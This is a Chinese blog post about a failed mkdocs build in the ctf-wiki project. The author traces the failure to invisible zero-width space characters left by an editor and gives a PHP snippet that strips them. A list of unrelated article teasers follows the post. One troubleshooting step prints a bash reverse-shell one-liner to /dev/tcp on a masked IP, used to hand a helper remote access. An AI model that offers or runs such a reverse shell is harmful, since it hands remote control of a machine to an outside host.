【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space
问题描述:
我在修改 ctf-wiki
目录后进行 mkdocs build
去生成索引目录的时候报错:
然后我尝试定位到第 2
行和第 288
行,这些行我似乎并没有修改过啊。
未果,开始去找师傅解决。
解决方案探索:
由于我不太懂 mkdocs
的运行机制,这个时候肯定是需要找刘师傅了。
方案一、 mkdocs
去 clean
缓存。
似乎这个想法是行不通了,不是根本原因。
方案二、改目录
我们开始猜想是不是路径中有中文的锅,改一下路径,未果。
方案三、反弹 shell
弄不出来了,我直接反弹一个 shell
给刘师傅。
bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1
似乎师傅觉得权限太小了,然后不让弄了23333,未果。
方案四、重新clone一遍
一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。
方案五、 git diff
定位源码
使用 git diff
看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。
探索:
既然有点眉头了,我们开始猜测是不是 tab
和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora
修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。
开始尝试:
用 vim
去查看下目录文件,事情果然不简单:
这个 <200b>
是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。
特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space
(零宽空格) ,是一种不可打印的 Unicode
字符,用于可能需要换行处。
简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!
什么叫没有宽度?就是如果 2
个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。
这种字符在高级编辑器中都是看不见这个符号的,只有 VIM
这种古老的编辑器才能看到。
有关这种特殊字元存在以下三种形式:
Unicode code point | character | UTF-8 (in literal) | name |
---|---|---|---|
U+200B | \xe2\x80\x8b | ZERO WIDTH SPACE | |
U+200C | | \xe2\x80\x8c | ZERO WIDTH NON-JOINER |
U+200D | | \xe2\x80\x8d | ZERO WIDTH JOINER |
我们在写入文件中应该用以下语法去过滤这三种字符:
// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);
扩展:
- http://blog.isaach.com/2013/03/zero-width-space.html
- Zero-width-space维基百科
- 用零宽度字符水印揭露泄密者身份
- Zero-Width-Spaces-Hiden
- https://www.zachaysan.com/writing/2017-12-30-zero-width-characters
【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space的更多相关文章
- 解决托管在Windows上的Stash的Pull request无法合并的问题
最近尝试合并一个托管在Windows的Stash系统中的pull request时,发现合并按钮被禁用,显示有冲突不能合并,但是在diff页面中没有现实冲突,而且代码实际上并没有任何冲突. 后来在这篇 ...
- 庆祝下,提交了第一个ceph pull request。实现了从0到1的突破
庆祝一下!经过社区老司机的带路,昨天提交了第一个ceph pull request.实现了从0到1的突破,希望再接再厉提交更多代码到社区,为社区发展贡献一点自己力量. 提交的第一个被社区fix的bug ...
- github的pull request是指什么意思?有什么用处
github的pull request是指什么意思? 来看看某乎某位阿牛的理解,多么的简单粗暴! 我尝试用类比的方法来解释一下 pull reqeust.想想我们中学考试,老师改卷的场景吧.你做的试卷 ...
- git pull request
如何发 PR 以下以 wiki-pages 为例 把项目 fork 到自己名下,然后 clone 到本地 git clone git@code.xiaojukeji.com:yexiliang/wik ...
- 使用 VisualCode + iTerm2 提交github的Pull Request
VisualCode集成github功能,是程序猿参与开源项目的利器.相比Sublime简单了很多(插件安装繁琐,比如你试试在Sublime2 安装gosublime,这里有坑; Sublime 3修 ...
- git 上的pull request 是什么意思?
1.git 上有常见的pull request 功能 2.pull request 的含义 解释一: 有一个仓库,叫Repo A.你如果要往里贡献代码,首先要Fork这个Repo,于是在你的Gi ...
- Git工作流指南:Pull Request工作流
参考地址:http://blog.jobbole.com/76854/ Pull Requests是Bitbucket上方便开发者之间协作的功能.提供了一个用户友好的Web界面,在集成提交的变更到正式 ...
- (转载)新手如何正确理解GitHub中“PR(pull request)”中的意思
我从知乎看到的两个答案,分别从实际意义以及语言学角度告诉你改怎么理解PR,很简洁,这个理解非常棒,会解决新手刚看到PR(pull request)这个词时的困惑. 实际意义: 有一个仓库,叫R ...
- dragloader.js帮助你在页面原生滚动下实现Pull Request操作
dragloader.js是一个面向移动Web开发的JavaScript库,帮助开发者在使用页面原生滚动时,模拟上/下拉手势,实现Pull Request操作. 在移动设备上,一般会使用 drag d ...
随机推荐
- springmvc复习笔记----Restful 风格,PathVariable获取 Url实例
结构 包与之前相同 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi=&qu ...
- Navicat Premium 连接oracle ORA-01017:用户名/口令无效;登陆被拒绝
解决的方法就是将用户名改成system
- Q2Day81
性能相关 在编写爬虫时,性能的消耗主要在IO请求中,当单进程单线程模式下请求URL时必然会引起等待,从而使得请求整体变慢. import requests def fetch_async(url): ...
- Django之--MVC的Model
在上一篇:Django之--通过MVC架构的html模板展示Hello World! 讲述了基本的MVC模型,但是却并没有测试Model的作用,本文通过mysql数据库来测试. Django自带的mo ...
- Timeout occurred while waiting for latch: class 'ACCESS_METHODS_DATASET_PARENT'
前些天某个SQL Server数据库的错误日志爆出如下错误: Timeout occurred while waiting for latch: class 'ACCESS_METHODS_DATAS ...
- PostgreSQL远程访问设置
数据库版本:9.3.23(Windows xp系统) 步骤: 1.需要修改数据库安装目录下的pg_hba.conf文件 修改成: 2.并使用psql执行pg_ctl reload重新加载配置文件
- Win 10 和 Linux 双系统,从硬盘删除Linux分区,Win 10引导修复
由于安装双系统后,Linux 用的比较少.因此,从Win 10 磁盘管理中删除了linux 占用的磁盘空间,重启后无法进入win 10 ,出现如下情况: 有人提出,此时需要重装系统,并不用如此麻烦,通 ...
- 记录参加QCon2017北京站的心得
如有侵权,请告知作者删除.scottzg@126.com 很荣幸参加QCon全球软件开发大会,这里特别感谢我们部门的总经理,也是<互联网广告算法和系统实践>此书的作者王勇睿.因为他我才有这 ...
- iOS弹出UIViewController小视图
在TestViewController1中弹出TestViewController2 在TestViewController中点击按钮或者什么触发方法里面写入以下代码 TestViewControll ...
- Spring的通知类型,切入表达式写法
转载自 https://www.cnblogs.com/ltfxy/p/9882697.html Spring中通知类型: 前置通知:目标方法执行之前进行操作,可以获得切入点信息 后置通知: 目标方 ...